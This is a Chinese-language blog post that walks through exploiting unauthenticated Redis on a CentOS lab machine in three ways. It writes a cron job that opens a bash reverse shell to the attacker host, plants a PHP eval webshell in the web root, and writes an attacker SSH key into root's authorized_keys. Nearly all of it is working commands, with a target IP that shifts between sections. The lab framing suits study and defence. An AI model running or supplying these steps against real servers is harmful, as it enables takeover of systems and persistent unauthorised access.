C1imber's Blog

centos环境下的redis未授权访问漏洞的几种利用方式

字数统计: 815阅读时长: 3 min
2018/08/19 Share

centos环境下的redis未授权访问漏洞的几种利用方式

这篇文章记录一下redis未授权访问漏洞的几种利用方式,包括如何利用redis未授权访问漏洞通过任务计划反弹shell,向网站根目录写webshell以及利用redis未授权访问向服务器写入ssh公钥

漏洞利用环境

靶机:centos6.4:192.168.0.104,开启了redis-server,由于配置不当而存在redis未授权访问

攻击机:kali2.0:192.168.0.101,用来攻击配置不当导致存在redis未授权访问漏洞的centos6.4

修改centos中redis配置文件redis.conf中的几个地方

1.bind 127.0.0.1前面需要加上注释符,保证远程ip可以访问redis数据库
2.protected-mode要修改为no,否则远程连接数据库的ip执行不了数据库语句

mark
mark
只有修改了这两处配置,才能远程连接redis服务并且执行数据库语句

利用redis未授权访问漏洞反弹shell

首先在centos上开启redis服务

1
./src/redis-server redis.conf

mark

接下来使用kali上的redis-cli去访问redis-server

1
./src/redis-cli -h 192.168.0.104 -p 6379

可以看到由于配置不当导致redis未授权访问漏洞,可以直接进入redis的交互式shell
mark

下面通过该redis未授权访问漏洞利用linux任务计划来反弹一个shell到我们的kali上面

1
2
3
4
set aaa "\n\n* * * * * bash -i >& /dev/tcp/192.168.0.101/7777 0>&1\n\n"
config set dir /var/spool/cron
config set dbfilename root
save

mark
在redis的交互shell中依次执行完上述命令后,可以看到成功的在centos的任务计划目录/var/spool/cron下创建了一个任务计划文件root,该文件里面的cron将执行每分钟执行一次向kali反弹shell的操作
mark

可以看到我们的kali上已经接收到了centos反弹过来的shell,可以执行命令
mark

利用redis未授权访问写webshell

还可以通过redis未授权访问漏洞向网站根目录写一个webshell

1
2
3
4
set aaa "\n\n<?php @eval($_POST['c1imber']);?>\n\n"
config set dir /var/www/html
config set dbfilename shell.php
save

mark
可以看到成功向网站根目录写了一个webshell
mark
访问该webshell,php一句话木马被解析
mark

利用redis未授权访问向服务器写入ssh公钥

该漏洞的前提需要centos允许使用shh密钥去登陆

接下来首先使用kali在本地生成一对密钥

1
ssh-keygen -t rsa

mark
mark
之后将公钥id_rsa.pub写入到一个文件内

1
(echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n")>key.txt

mark
之后利用redis未授权访问漏洞将公钥写到centos的/root/.ssh/authorized_keys文件中

1
2
3
4
5
cat /root/.ssh/key.txt | ./src/redis-cli -h 192.168.0.4 -x set aaa
redis -h 192.168.0.4 -p 6379
config set dir /root/.ssh
config set dbfilename authorized_keys
save

其中-x参数代表读取输入流里的内设置给aaa,也就是之前生成的公钥/root/.ssh/key.txt里面的内容
mark
可以看到在centos的/root/.ssh目录下的authorized_keys文件里已经成功写入了我们刚刚生成的公钥
mark
由于我们将公钥写入了服务器,我们自己这有私钥,之后就可以使用ssh直接远程登陆了

1
ssh 192.168.0.4

mark

CATALOG
  1. 1. centos环境下的redis未授权访问漏洞的几种利用方式
    1. 1.0.1. 漏洞利用环境
    2. 1.0.2. 利用redis未授权访问漏洞反弹shell
    3. 1.0.3. 利用redis未授权访问写webshell
    4. 1.0.4. 利用redis未授权访问向服务器写入ssh公钥